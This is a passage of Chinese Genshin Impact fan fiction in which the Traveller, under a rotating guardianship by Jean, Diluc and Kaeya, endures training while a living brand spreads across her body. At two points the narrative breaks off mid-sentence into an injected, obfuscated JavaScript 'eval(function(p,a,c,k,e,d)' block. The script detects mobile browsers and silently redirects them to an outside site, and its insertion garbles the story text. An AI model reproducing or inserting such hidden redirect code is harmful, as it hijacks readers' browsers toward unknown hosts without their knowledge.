他顿了顿,嘴角勾起一个意味深长的笑。 “或者……第三条路。” “什么路。”迪卢克问,声音里带着戒备。 凯亚直起身,看向琴。 “公开监护权。”他说,语气轻松得像在讨论晚餐吃什么,“琴团长作为官方监护人,负责日常训练和管控。迪卢克老爷作为……嗯,技术顾问?提供璃月方面的支持和备用方案。” 他转向迪卢克。 “而你,暗夜英雄大人,既然这么不放心,不如就留在蒙德,亲自‘监督’治疗过程。反正你的酒庄有埃泽看着,离开几个月也没事。” 最后,他看向荧。 “至于小可爱本人——每天上午跟琴团长训练,下午接受迪卢克老爷的‘观察’,晚上嘛……自由活动。当然,得在我们三方共同安排的‘保护’下。” 他张开双臂,像在展示什么杰作。 “完美,不是吗?谁都参与了,谁都不放心谁,谁都得盯着谁。而我们的主角——”他朝荧眨了眨眼,“得到了三重保护,和……三重监视。” 会客室里安静得可怕。 壁炉里的火快要熄了,只剩一点暗红的炭。窗外的光在移动,从地板爬上了墙壁。 琴和迪卢克,谁都没说话。 他们在衡量。 衡量这个提议里的风险,利益,还有那些没说出口的——控制欲,占有欲,不信任,以及更深处的、连他们自己都不愿承认的东西。 荧站在他们中间,感觉自己在被无形的线拉扯。 一边是琴的秩序与承诺,一边是迪卢克的真相与警告,还有凯亚那双笑眯眯的、像在玩一场巨大棋局的眼睛。 而她手腕上的烙印,在持续发烫。 共鸣点在震颤。 身体深处那个属于“外来者”的部分,在苏醒,在低语,在渴望——渴望靠近那些碎晶,渴望触碰“门”的秘密,渴望找到……回家的路。 即使她不知道家在哪里。 “我……”她开口,声音在安静的房间里格外清晰。 所有人都看向她。 “我想留在蒙德。”她说。 琴的肩膀,几不可察地松了一下。 迪卢克的眉头皱得更深。 凯亚笑了——那是真正的、带着愉悦的笑。 “但,”荧继续说,看向迪卢克,“我想接受璃月的治疗建议。也想……了解更多关于‘门’和‘母树’的情报。” 她转向琴。 “而训练,我会继续。” 最后,她看向凯亚。 “至于‘保护’和‘监视’……”她顿了顿,“随便你们。” 她说得很平静。 平静得不像在决定自己的命运,像在点一份晚餐。 派蒙抓紧她的手,小声说:“荧,你、你真的要……” “嗯。”荧拍了拍她的小脑袋,“这样最好。” 至少,她能把主动权,抓回自己手里一点。 哪怕只是一点点。 迪卢克盯着她看了很久。 最终,他点了点头。 “可以。”他说,“我会留在蒙德。但治疗方式,必须按璃月的方案调整。琴,这一点没有商量余地。” 琴沉默了几秒。 “……可以。”她说,声音有些疲惫,“但所有治疗,必须在骑士团的监督下进行。” “自然。”迪卢克看向凯亚,“至于你——” “我?”凯亚笑眯眯地,“我当然负责协调啦。毕竟这么复杂的三角关系,总得有个润滑剂,不是吗?” 他说着,走到门边,拉开门。 “那么,今天就到这里?我想我们的小可爱需要休息,而两位……也需要时间消化消化。” 琴看了荧一眼,那眼神里有太多东西,荧一时读不懂。 “回去休息。”她说,“明天……我们再谈细节。” 迪卢克没说话,只是点了点头。 荧拉着派蒙,走出会客室。 门在身后关上。 走廊里安静得能听见自己的心跳。派蒙飞在她身边,小手还紧紧抓着她。 “荧……”她小声说,“你还好吗?” 荧没回答。 她抬起手腕,看着袖口下那圈淡了的烙印。 它在发烫。 一直在发烫。 而身体深处,那个共鸣点在低语,用只有她能听见的声音,反复说着同一个词—— ……回家…… ……回家…… ……回家…… 她握紧拳头,继续往前走。 下章预告 三方监护协议达成的第二天,琴和迪卢克就在治疗方式上发生了第一次正面冲突。凯亚“好心”地提供了训练场作为“中立区”,结果变成了三人同时在场监督的尴尬局面。派蒙躲在角落瑟瑟发抖,而荧在三种截然不同的气息包围下,终于体会到了什么叫“修罗场”的前奏。更糟的是,她手腕上的烙印在三人气息的刺激下,开始发生不可控的变化——颜色加深,纹路蔓延,像是要活过来。而这一次,共鸣点传来的低语里,多了一个新的词:……钥匙…… 19. 迪卢克 晨光刚爬上训练场的石墙,空气里还带着夜露未散的凉意。 荧站在场地中央,手里握着训练木剑的柄,粗糙的木质纹理硌着掌心。她今天起得比往常更早,派蒙还在被窝里蜷成一团打呼噜,她就悄悄下楼了。 睡不着。 手腕上的烙印从半夜就开始发烫,不是持续的热,是一阵一阵的,像有颗小心脏在皮肤底下跳。 跳得她心烦意乱,干脆起来练剑。 基础的劈、刺、格挡。动作重复到第一百二十七次时,训练场的门被推开了。 不是琴。 是迪卢克。 他今天没穿那身标志性的黑□□外套,换了身深灰色的便装,衬衫袖口挽到手肘,露出线条结实的小臂。暗红色的长发用一根简单的皮绳束在脑后,几缕碎发落在额前,让他看起来比平时少了些冷硬,多了点……人味。 但还是迪卢克。 他一进门,整个训练场的气压就沉了一档。 荧停下动作,看向他。 “早。”迪卢克开口,声音比晨风还冷一点。他走到场地边,放下手里提着的皮质小箱子,打开。里面不是武器,是各种瓶瓶罐罐和用油纸包好的药材,还有几卷写满字的羊皮纸。 “琴呢?”荧问。 “今天她休息。”迪卢克拿起一卷羊皮纸,展开,“从今天开始,按新的轮换安排。我是第一个。” 轮换安排。 昨天那场荒唐的“三方协议”后定下的规矩:琴一天,迪卢克一天,凯亚一天。轮流来,避免三个人同时在场刺激她身上的烙印。 荧放下木剑,走过去。 “今天练什么?” “不练。”迪卢克头也不抬,手指在羊皮纸上快速扫过,“先检查。把袖子卷起来。” 荧照做。卷起左袖,露出从手腕蔓延到肩膀的暗红纹路。一夜过去,颜色似乎更深了些,在晨光下泛着一种不祥的、像是淤血又像是灼伤的光泽。 迪卢克瞥了一眼,眉头几不可察地皱了一下。 “另一只手。” 荧卷起右袖。右手臂干净,皮肤是正常的肤色,只有左手从指尖到肩膀,爬满了那种诡异的纹路。 迪卢克放下羊皮纸,从箱子里取出一个巴掌大小的铜盘。盘面刻着密密麻麻的符文,中央凹陷,刚好能放下一枚摩拉大小的水晶。他往凹陷处放了一小块暗蓝色的碎晶——和昨天在会客室展示的那种一样,璃月带回来的地脉碎晶。 碎晶碰到铜盘,发出微弱的嗡鸣。盘面上的符文逐一亮起,发出淡青色的光。 迪卢克把铜盘靠近荧的左臂。 瞬间,烙印纹路活了。 不是比喻。是真的在动。暗红的线条像受惊的蛇群,在皮肤底下疯狂蠕动,试图逃离铜盘的靠近。荧感到一阵尖锐的刺痛,从手腕直窜到肩膀,她咬住牙才没叫出声。 迪卢克的手很稳,铜盘纹丝不动地悬在纹路上方一寸处。他盯着那些蠕动的线条,赤红的瞳孔微微收缩,像在读取什么数据。 “共鸣强度,三级。”他低声说,像在自言自语,“活性比昨天高百分之四十。生长速度……每小时零点三毫米。” “什么意思。”荧忍痛问。 “意思是你身体里的这东西,在自行增殖。”迪卢克收回铜盘,纹路的蠕动慢慢平息,“按照这个速度,七天之内会覆盖整条左臂。十五天,蔓延到躯干。一个月……” 他没说完,但荧听懂了。 一个月,她全身都会爬满这东西。 “有办法停吗。”她问,声音比想的平静。 迪卢克看了她一眼。 “有。”他说,“但每一种都有代价。” 他从箱子里拿出三个小玻璃瓶,一字排开放在地上。瓶里装着不同颜色的液体:透明如水,乳白如奶,暗红如血。 “第一种,压制。”他指着透明的那瓶,“璃月特制的抑制剂,口服。每天三次,每次十毫升。可以暂时降低烙印活性,延缓生长速度。副作用:嗜睡,反应迟钝,长期服用会损伤肝肾功能。” “第二种,中和。”乳白色的瓶子,“外敷药膏,涂在纹路上。原理是用温和的元素力渗透,尝试与烙印中的地脉能量达成平衡,让它‘休眠’。副作用:涂抹时会有剧烈灼痛,且效果不保证。可能无效,也可能刺激它更快生长。” “第三种,根除。”暗红色的瓶子,“注射剂。直接注入烙印核心区域,用高浓度净化元素强行摧毁地脉能量结构。成功率……百分之十五。失败后果:烙印彻底暴走,可能引发全身元素紊乱,或者直接要了你的命。” 迪卢克说完,抬头看她。 “选哪个。” 荧盯着那三个瓶子。 透明,乳白,暗红。 压制,中和,根除。 哪一个听起来都不像好选择。 “没有第四种?”她问。 “有。”迪卢克说,“但不建议。” “是什么。” “让它长。”迪卢克的声音很平,“不干预,不压制,看它最终会长成什么样。赌一把——赌它长到一定程度后会自动停止,或者转化成某种对你有益的形态。” 他顿了顿。 “赌注是你的命。” 训练场里安静下来。远处传来蒙德城早市的喧闹声,模糊得像隔着一层水。晨光又爬高了些,从高窗斜射进来,在地面上切出明亮的光带。 荧低头看着左臂上的纹路。暗红的线条在光下微微蠕动,像有生命。 “我选第四种。”她说。 迪卢克的眉毛动了一下。 “理由。” “我不想变成废人。”荧说,“也不想每天疼得死去活来,更不想为了百分之十五的概率赌命。” 她抬起头,看向迪卢克。 “既然这东西选中了我,我就和它共存。看谁能熬过谁。” 迪卢克盯着她看了很久。 久到荧以为他会反对,会训斥,会像琴那样用一堆数据和风险警告她。 但他没有。 他点了点头,把三个瓶子收回箱子。 “可以。”他说,“但有一个条件。” “什么条件。” “每天记录。”迪卢克从箱子里拿出一个厚厚的笔记本和一支笔,“记录纹路的变化,记录身体的感受,记录任何异常——疼痛,幻觉,梦境,听到的声音。所有细节,不能遗漏。” 他把本子和笔递给荧。 “我要完整的数据。你身体的数据,烙印的数据,还有……它和外界刺激互动的数据。” 外界刺激。 荧想起昨天训练场上,三个人同时在场时烙印的疯狂生长。 “你想用我做实验。”她说,不是质问,是陈述。 迪卢克没有否认。 “是。”他说,“但实验的目的,是找到控制它的方法。不是害你。” 他站起身,走到训练场中央,脱下外套搭在木桩上,露出里面贴身的深色训练服。然后他转身,面对荧。 “现在,开始今天的‘训练’。” “不是不练吗?”荧问。 “不练剑。”迪卢克说,“练抗性。” 他抬起手。 没有任何预兆,炽热的气息从他身上炸开。 不是昨天那种缓慢弥漫的醇厚酒香,是直接的、霸道的、像火山喷发一样的灼热。空气瞬间变得滚烫,呼吸都带着烧灼感。训练场角落的几盆绿植肉眼可见地蔫了下去。 荧胃里的暗影瞬间暴动。 渴望。疯狂的渴望。身体每一个细胞都在尖叫,让她扑上去,靠近那团炽热的源头,吞噬,占有,融为一体。 但她没动。 她死死站在原地,左手握紧那本笔记本,指甲掐进封面。右手撑着旁边的木桩,指节发白。 “看着我。”迪卢克的声音穿过热浪传来,平稳得像在说今天天气,“感受它,但别被它吞掉。” 荧抬起头,看向他。 迪卢克站在晨光里,暗红的头发在热浪中微微飘动,赤红的瞳孔像烧红的炭,灼灼地锁着她。他的气息没有收敛,全开的状态,像一场人为制造的火风暴。 而她站在风暴中心。 烙印纹路开始发烫,蠕动,生长。 她能感觉到,暗红的线条在皮肤底下延伸,像藤蔓寻找养分,朝着迪卢克的方向——朝着那股炽热——缓慢地爬。 速度不快,但确实在动。 “记录。”迪卢克说,“现在的感受。” 荧咬牙,翻开笔记本,用颤抖的手写下: 时间:晨七时四十分。 刺激源:迪卢克,全开气息。 身体反应:体温升高,心跳加速,胃部抽搐,唾液分泌增多。 烙印反应:发烫,蠕动,生长速度……目测每小时一毫米。 意识状态:清醒,但边缘。锚点……需要锚点…… 写到最后一句时,她的手抖得几乎握不住笔。 琴的冰雪意象在意识里浮现,但太远了,太模糊了。在迪卢克这股近乎暴力的炽热面前,那点冷意像投入火炉的雪片,瞬间蒸发。 她需要更近的锚点。 需要…… “迪卢克。”她开口,声音嘶哑。 “说。” “能……收一点吗。”她说,“太强了,我撑不住。” 迪卢克盯着她,赤红的瞳孔深处有什么东西闪了一下。 然后,他真的收了。 不是全收,是降到一半。炽热的风暴变成了温和的热浪,依然烫,但不至于让人窒息。 荧喘了口气,意识稍微清醒了些。她继续记录: 刺激减弱后:心率回落,体温仍高,烙印蠕动减缓。生长速度估计……每小时零点五毫米。 “很好。”迪卢克说,“保持记录。接下来,我会逐步增加强度。每次增加百分之十,持续三分钟,然后收回。你要做的就是:撑住,记录,然后告诉我极限在哪里。” 极限。 荧在心里苦笑。 她的极限,可能比迪卢克想的还要低。 但没得选。 第一次强度提升。 热浪加强,空气里的温度又爬升了一截。荧的额头渗出冷汗,但汗水刚冒出来就被蒸干。烙印纹路蠕动加剧,生长速度回到每小时一毫米。 她记录。 第二次提升。 温度更高了。呼吸时鼻腔和喉咙都有灼痛感。胃里的暗影在疯狂咆哮,几乎要冲破理智的牢笼。她死死咬住下唇,血腥味在嘴里漫开。 记录。 第三次。 第四次。 到第五次时,荧的视线开始模糊。 训练场在摇晃,迪卢克的身影在热浪里扭曲变形。耳朵里嗡嗡作响,像有一群蜂在颅内盘旋。左手上的纹路已经爬到了肩膀顶端,开始向锁骨和胸口蔓延。 生长速度:每小时两毫米。 太快了。 “停……”她听见自己说,声音小得自己都听不见。 但迪卢克听见了。 热浪瞬间消失。 温度恢复正常,那股灼热的气息被完全收敛。迪卢克一步跨过来,扶住摇摇欲坠的她。 “数据。”他说,声音很近,“现在的数据。” 荧靠着他站稳,颤抖着手翻开笔记本。 第五次强度。生长速度两毫米每小时。身体反应:眩晕,耳鸣,视觉模糊,胃部痉挛。意识状态:濒临崩溃。锚点……失效。 写完后,她几乎虚脱,整个人靠在迪卢克身上。 他的手臂很稳,托着她的背。隔着衣服,她能感觉到他身体的温度——比正常人高,但不烫。是一种沉稳的、像地火一样的热。 “够了。”迪卢克说,声音低了些,“今天就到这里。” 迪卢克的手在她背上停留的时间比必要长了半秒。 仅仅是半秒。在荧几乎要虚脱着滑下去时,那只手稳稳托住了她的肩胛骨下方,隔着训练服的粗糙布料,传来一种不同于气息灼热的、属于人体的真实温度。很稳,带着常年握剑形成的薄茧的触感,但并不粗粝,只是存在感很强。 他没有立刻松开。而是就着这个姿势,半扶半引地将她带到场边的长凳。 动作算不上温柔,甚至有些过于利落,像是处理一件需要小心搬运的易碎器械。 但在他松开手、她跌坐在硬木凳面上的瞬间,那只手在空中顿了一下,似乎本能地想再垫一下,又克制地收了回去。 然后他转身,从箱子里拿出水壶。 递过来时,壶身是温的——显然提前准备过。 金属壶盖拧开的声音清脆,他先自己仰头喝了一口,喉结滚动,才重新盖上,递到她面前。这个细微的动作像一种无声的保证:没毒,能喝。 荧接过来,指尖不可避免地擦过他的手指。 迪卢克的手顿了顿。 非常细微的停顿,若非荧此刻全部感官都被迫放大,几乎察觉不到。 他的指节修长,关节处有淡淡的旧伤痕,皮肤的温度比壶身高一些,触到的瞬间,荧手臂上的烙印纹路轻轻抽搐了一下,像是被烫到,又像是被吸引。 她没有立刻喝水,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“当研究对象。”迪卢克纠正,“了解敌人,才能战胜敌人。” 他合上本子,看向荧的左臂。 纹路已经蔓延到了锁骨,暗红的线条在白皙的皮肤上蜿蜒,像某种诡异的图腾。 “疼吗。”他忽然问。 荧愣了一下。 “不疼。”她说,“烫,痒,偶尔刺痛。” 迪卢克伸出手,指尖悬在纹路上方,没有碰触。 “在璃月,我见过一个类似的案例。”他低声说,像在回忆,“一个矿工,在层岩巨渊深处挖矿时,碰到了一块地脉结晶。结晶碎屑扎进他手臂,留下了类似的纹路。” “后来呢。” “纹路在一个月内覆盖了他全身。”迪卢克说,“然后,他开始‘结晶化’。皮肤变硬,变脆,像矿石一样开裂。最后……他变成了一尊人形的石像,站在矿洞深处,眼睛的位置还保留着最后时刻的惊恐。” 训练场里静得可怕。 “你的情况和他不同。”迪卢克继续说,“你的纹路是‘活’的,有意识,会回应刺激。这说明……你体内的东西,比他的高级。或者说,更‘完整’。” 完整。 荧想起共鸣点传来的低语:钥匙,门,母树。 “迪卢克,”她问,“你相信有‘另一个世界’吗。” 迪卢克侧头看她。 “为什么这么问。” “因为那个声音。”荧说,“它一直在说‘回家’。回一个……不属于这里的地方。” 迪卢克沉默了很久。 “我相信有我们不知道的东西。”他最终说,“但不一定是另一个世界。可能是被遗忘的历史,被掩盖的真相,或者……某种超越人类理解的存在。” 他站起身,开始收拾箱子。 “你的训练时间结束了。下午是琴的时间,晚上……如果状态好,凯亚可能会来找你。” 提到凯亚时,他的语气里有一丝不易察觉的冷意。 荧也站起来,活动了一下发僵的四肢。 “迪卢克,”她忽然说,“如果……如果我真的变成怪物,你会怎么做。” 迪卢克拉上箱子的搭扣,动作停了一下。 然后他转身,赤红的眼睛直视她。 “在那之前,”他说,每个字都像烙铁一样烫,“我会先找到控制你的方法。” “如果找不到呢。” “那就找到摧毁你的方法。”迪卢克说,语气没有任何波动,“但那是最后的选择。在那之前,我会尽一切可能,让你活下来。” 他说得这么直接,这么残酷,又这么……可靠。 荧不知道该说什么。 迪卢克提起箱子,走向门口。 “对了。”在拉开门前,他回头,“晚上如果凯亚来,别让他碰你的烙印。他的气息……太‘滑’,可能会刺激出我们不知道的反应。” “知道了。” 门关上。 训练场里只剩下荧一个人,和手臂上那些缓慢蠕动的暗红纹路。 派蒙从门外飞进来,小脸上写满了担忧。 “荧……你还好吗?我刚才在外面,感觉里面好热好热……” “还好。”荧拍拍她的小脑袋,“就是有点累。” “我们回去吧。”派蒙抓住她的手指,“回去休息,我给你偷……啊不是,拿点好吃的!” 荧笑了。 “好。” 走出训练场时,她回头看了一眼。 晨光洒满石地,空旷,安静。 但空气中还残留着迪卢克那股炽热的气息,像一场刚刚过去的山火,余温未散。 而她的身体里,烙印在低语,共鸣点在震颤。 钥匙已插入。 门扉将启。 她在心里重复着昨天听到的那句话,然后转身,跟着派蒙,走向那片为她量身定制的、由冷、热、冰甜交织成的修罗场。 明天是琴。 后天是凯亚。 然后又是迪卢克。 周而复始。 直到她找到答案。 或者,答案找到她。 下章预告 琴的训练日,地点选在了风起地。开阔的环境,自由的风,以及琴那冰冷克制的Fork气息——本该是最安全的组合。但凯亚“恰好”在那里执行巡逻任务,而迪卢克因为“不放心”也跟了过来。三人在七天神像下再次齐聚,而荧手臂上的烙印在三种气息的刺激下,发生了第一次“质变”:纹路不再蔓延,而是开始向内收缩,凝结,最终在肩膀处形成一个清晰的、树根状的图腾。图腾成型的瞬间,荧听到了完整的召唤:“归来吧,枝叶。门已备好,路已铺就。母亲在等你。”与此同时,一直沉默的天空之琴,在蒙德大教堂的深处,自发地响了一声。 20. 烙印加深 琴的训练日,地点定在风起地。 荧站在那棵巨大的橡树下,仰头看枝桠间漏下的天光。风从原野尽头吹来,带着草叶和远处果酒湖的湿润气息,卷起她额前的碎发。 这里开阔,自由,和封闭的训练场截然不同。 派蒙在她身边飞上飞下,兴奋地指指点点,上上下下。 “看!是塞西莉亚花!那边还有风车菊!哇——这里好漂亮!” 荧嗯了一声,注意力却不在风景上。 她在等琴。 也在等……别的什么。 昨晚迪卢克离开后,凯亚真的来了。不是正式拜访,是像夜猫一样悄无声息地出现在她房间的窗台上,斜倚着窗框,手里转着那把冰蓝色的短刀。 “听说你今天表现不错?”他笑眯眯地说,独眼在月光下泛着幽蓝的光,“能在迪卢克老爷的‘热情款待’下撑过五轮,值得奖励。” 他扔过来一个小纸包。荧接住,打开,里面是几颗深紫色的糖球,散发着清凉的薄荷和某种陌生草药的味道。 “教会改良版抑制剂。”凯亚说,“效果比市面上的强三倍,副作用小一半。当然,还是治不了你的‘小纹身’,但能让你晚上睡个好觉。” 荧盯着糖球,没吃。 “条件呢。” 凯亚笑了,笑容藏着一点僵硬。 “小可爱,别把我想得那么功利嘛。”他跳下窗台,走到她床边,俯身看着她,“我只是觉得,咱们现在算是……合作伙伴?你帮我验证一些有趣的假设,我帮你活得舒服点。双赢。” 他的气息很近。不是迪卢克那种暴烈的炽热,也不是琴那种冰冷的秩序,是那种滑腻的、冰下藏甜的引诱,像蛇信子,轻轻擦过她的感知边缘。 荧手臂上的烙印纹路动了动。 凯亚注意到了。他的视线落在她左臂,独眼里的兴趣更浓了。 “它在‘闻’我。”他低声说,像发现了什么好玩的事,“看来我的味道,对它胃口。” “离远点。”荧说,声音冷了下来。 凯亚直起身,摊手。 “好好好,不碰。”他退到窗边,但没走,“不过提醒你一句——明天琴带你去风起地训练,是个好机会。开阔地,元素流动活跃,最适合做点小实验。” “什么实验?” “测试你的‘锚点’极限。”凯亚说,“琴的气息是冷的,秩序。但风起地的风是自由的,无序的。在那样的环境里,她的锚点还能不能稳住你?我很期待。” 他说完,翻身跳出窗户,消失在夜色里。 ‘这个屋子的门没用,谁要进来翻窗户都可以。’ 纸包还留在荧手里,糖球散发着清凉的苦味。 现在,站在风起地的橡树下,荧想起凯亚的话。 测试锚点极限。 她低头看左臂。纹路经过一夜,蔓延到了锁骨中央,暗红的线条在皮肤下缓慢蠕动,像有生命。迪卢克的方法压制了生长速度,但没有阻止它。 “来了。”派蒙小声说。 荧抬头。 琴从蒙德城的方向走来。 她手里提着一个细长的皮匣。 “早。”琴走到荧面前,目光扫过她左臂的纹路,眉头微不可察地皱了一下,“昨晚休息得怎么样。” “还好。”荧说。 琴点点头,打开皮匣。里面不是剑,是一把造型古朴的银色长笛,笛身刻着风之纹章。 “今天不练剑。”琴取出长笛,“练‘共鸣’。” “共鸣?” “你的烙印与地脉共鸣,而地脉与元素共鸣。”琴说,手指轻抚笛身,“风起地是蒙德地脉节点之一,元素流动活跃。我要你在这里,尝试与风元素建立初步的‘接触’——不是掌控,是感知。” 她看向荧。 “地脉能量通过烙印影响你,你也可以通过烙印,反向感知地脉。如果成功,或许能找到控制烙印的线索。” 听起来合理。 但荧想起凯亚的提醒。开阔地,自由的风,无序的元素——真的是最适合训练的环境吗? “开始吧。”琴说,将长笛举到唇边。 她没有立刻吹奏,而是先释放了气息。 属于Fork的、冰冷而克制的秩序感,像冬天的第一场雪,缓缓铺开。但与训练场里不同,这次琴的气息没有试图压制或控制周围的环境,而是像一层薄冰,轻轻覆盖在风起地的风元素之上,为它们提供一个临时的、稳定的“结构”。 然后她开始吹笛。 不是乐曲,是几个简单的、重复的音节。清越,干净,像风穿过岩缝。随着笛声,周围的风元素开始回应—— 不是暴动,是温柔的流转,绕着橡树,掠过草地,最后缓缓聚集到荧的身边。 荧闭上眼。 她能感觉到风。不是通过皮肤,是通过烙印。暗红的纹路在发烫,但不是疼痛的烫,是一种……共鸣的温热。那些风元素像无形的手指,轻轻触碰纹路,试探,流动,带来一种奇异的、仿佛身体在呼吸的错觉。 琴的笛声在引导。 她的气息在锚定。 荧的意识沉入那片冰雪松林的意象。但这次,松林里起了风。风卷起雪沫,穿过枝桠,带来远处草场和湖泊的气息。 冷,但生动。 很好。 她能控制。 至少现在能。 笛声持续了大概十分钟。琴停下,气息收回。风元素缓缓散去,但烙印的温热感还在。 “感觉怎么样。”琴问。 “有点……奇怪。”荧睁开眼睛,“不难受,但能感觉到它在‘呼吸’。” 琴点头,在本子上记录。 “初步共鸣建立成功。接下来,尝试在共鸣状态下,维持锚点。” 她再次举起长笛。 但这次,笛声刚起—— “哎呀,这么巧。” 一个懒洋洋的声音从橡树后面传来。 凯亚从树后转出来,手里拎着个小酒壶,脸上挂着那副“恰好路过”的笑。他今天穿着骑兵队的轻便制服,披风随意地搭在肩头,看起来确实像在巡逻。 “琴团长,荧,早上好。”他笑眯眯地打招呼,“在训练?我没打扰吧?” 琴的笛声停了。 她看着凯亚,眼神很冷。 “凯亚队长,我记得你今天负责城门岗哨。” “轮班调整了嘛。”凯亚晃了晃酒壶,“再说了,风起地也是蒙德领土,我作为骑兵队长,来巡视一下,合情合理。” 他说着,走到荧身边,很自然地弯腰看了看她左臂的纹路。 “哦?颜色好像深了点。昨天迪卢克老爷的‘热情疗法’效果显著?” 他的气息靠近了。 那股冰下藏甜的引诱感,像一层薄雾,悄无声息地渗进空气里。荧手臂上的纹路猛地一抽! 不是温和的共鸣,是激烈的、像被针扎的刺痛。 琴的气息瞬间变得锋利。 “凯亚,退后。” “怎么了?”凯亚直起身,一脸无辜,“我就是看看。再说了,小可爱现在不是‘三方监护’吗?我作为其中一方,关心一下她的状况,不过分吧?” 他说话时,气息没有收敛,反而更刻意地释放出来。不是全开,是那种游刃有余的、带着试探意味的浓度。 荧的呼吸开始变快。 左边是琴的冰冷秩序,右边是凯亚的冰甜引诱。两股截然不同的气息——一个是要她“清醒”,一个是要她“堕落”——在她周围形成无形的拉锯。 而她的烙印,成了战场。 纹路开始蠕动,生长。不是迪卢克训练时那种缓慢蔓延,是激烈的、像藤蔓疯长般的速度。暗红的线条从锁骨向胸口爬,同时向下蔓延,爬向心口。 “凯亚!”琴的声音带上了怒意,“立刻收敛!” “我收敛了啊。”凯亚摊手,但嘴角的笑更深了,“琴团长,你是不是太紧张了?小可爱没你想的那么脆弱。你看,她站得还挺稳。” 荧确实还站着。 但她能感觉到,意识里的冰雪松林在融化。风停了,雪在消融,松针在枯萎。琴的锚点,在凯亚的气息干扰下,开始动摇。 “停下。”荧咬牙说。 凯亚看了她一眼,独眼里闪过某种兴味盎然的光。 “停下什么?我什么都没做啊。” 他甚至还往前走了一步。 距离更近了。 他的气息几乎贴着她的皮肤,那股甜腻的诱惑力暴涨。荧胃里的暗影在咆哮,本能叫嚣着转身,抓住这个人,咬下去,吞噬—— “我说,停下!” 琴的气息彻底爆发。 不再是温柔的薄冰,是暴风雪。冰冷的、带着怒意的秩序感,像一场真正的雪崩,狠狠压向凯亚的方向! 凯亚被逼得后退两步,脸上终于收起了那副玩世不恭的笑。他眯起独眼,冰蓝色的元素力在指尖凝聚。 “琴团长,动手可就不礼貌了。” “是你先越界。” “越什么界?我可没碰她。” “你的气息就是越界!” 两人对峙,气息碰撞。风起地的风被搅乱,草叶狂舞,橡树的枝叶哗哗作响。 荧站在他们中间。 左边是暴风雪,右边是冰甜雾。 她的烙印在疯狂生长,已经爬满了整个左胸,开始向右蔓延。纹路不再是单纯的线条,开始分出细小的枝杈,像树根,像血管,在皮肤底下狰狞地蔓延。 疼。 这次是真的疼。 像有无数根烧红的针,沿着纹路的路径扎进肉里,再往骨头里钻。她咬紧牙关,冷汗瞬间湿透了后背。 “你们……”她挤出声音,“别吵了……” 但两人没听见。 “凯亚,我最后一次警告——退开。” “琴,你太紧张了。我只是在测试她的抗性。毕竟以后她会遇到更多我这样的‘诱惑’,不是吗?” “测试?未经许可的测试叫骚扰!” “哟,代理团长大人要给我定罪?” 气息碰撞更激烈了。 风起地的元素彻底紊乱。塞西莉亚花被卷起,风车菊被撕碎,连那棵巨大的橡树都在颤抖。 派蒙吓得躲到荧身后,小手紧紧抓着她的衣角。 “荧……我们跑吧……他们打起来了……” 跑? 荧看着自己手臂和胸口疯狂蔓延的纹路。暗红的线条已经爬到了右肩,开始向右手臂延伸。生长速度比昨天迪卢克训练时快了至少五倍。 而且,她能感觉到——纹路深处,有什么东西在苏醒。 不是共鸣点。 是更深处的,更原始的,像种子破土般的东西。 “够了!” 第三个声音加入。 不是从橡树后,是从天空。 一道炽热的、像流星般的影子从天而降,狠狠砸在琴和凯亚中间! 轰——! 气浪炸开,草皮被掀起,泥土飞溅。 琴和凯亚同时被震得后退。 烟尘散去。 迪卢克站在那里。 他今天穿着全套战斗装束,暗红色的外套在风里猎猎作响,赤红的长发在脑后飞扬。他手里握着那把标志性的巨剑,剑尖插在地上,剑身还残留着未散的高温,周围的空气微微扭曲。 他的脸色冷得像蒙德最深的冬夜。 “我是不是说过,”他的声音不高,但每个字都像烙铁,烫进空气里,“在她完全适应之前,不要同时刺激她?” 琴的脸色一白。 凯亚啧了一声,但收起了指尖的元素力。 “迪卢克,你跟踪我们?” “我在巡视晨曦酒庄的葡萄园。”迪卢克说,赤红的眼睛扫过两人,“然后感觉到风起地的元素异常暴动。过来一看——果然。” 他转头看向荧。 然后,他的瞳孔猛地收缩。 荧站在原地,低着头,双手垂在身侧。她的左臂、左胸、右肩,甚至开始向脖颈蔓延的皮肤上,爬满了暗红色的、树根状的狰狞纹路。纹路不再仅仅是平面,开始微微隆起,像真的有根系在皮肤底下生长。 最可怕的是——纹路的颜色在变。 从暗红,变成暗金。 像冷却的熔岩里流动着金色的光。 “荧。”迪卢克一步跨到她面前,巨剑随手插在地上,双手抓住她的肩膀,“看着我。” 荧抬起头。 她的眼睛还是清醒的,但瞳孔深处,有金色的光点在闪烁。 像星火。 “我……”她开口,声音嘶哑得不像自己,“我听见了……” “听见什么。” “歌声。”她说,“很多人在唱歌……在哭……在喊……‘回家’……” 话音刚落—— 她肩膀上的纹路,那些暗金色的树根状图腾,猛地爆发出一阵刺眼的光! 不是元素力的光,是更原始的、像是从地底深处透出来的光。光芒所及之处,草叶迅速枯萎,泥土变黑,连风都停滞了。 琴和凯亚同时后退。 迪卢克没退。 他死死抓着荧的肩膀,赤红的瞳孔里倒映着她身上那些疯狂生长的、发光的纹路。 “压制它。”他对她说,声音紧绷但稳定,“用你的意志,压回去。” “我……试过了……”荧的声音在发抖,“它不听我的……” “那就让它听!” 迪卢克的气息猛地炸开。 不是训练时那种循序渐进的炽热,是全开的、毫无保留的、像火山喷发一样的暴烈灼热!高温瞬间席卷整个风起地,橡树的叶子开始卷曲,远处的果酒湖水面蒸腾起白雾。 他要用最极端的高温,强行“烧”退烙印的生长! “迪卢克!住手!”琴冲上来,“你会伤到她!” “伤也比疯强!” 高温持续。 荧身上的纹路在灼热中疯狂挣扎。暗金色的光芒忽明忽灭,像在抵抗。纹路的生长速度变慢了,但没有停止。 而且,她能感觉到——纹路深处,那个苏醒的东西,在迪卢克的高温刺激下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122947|195980||http|test|mini|href|location''.split(''|''),0,{})); () { 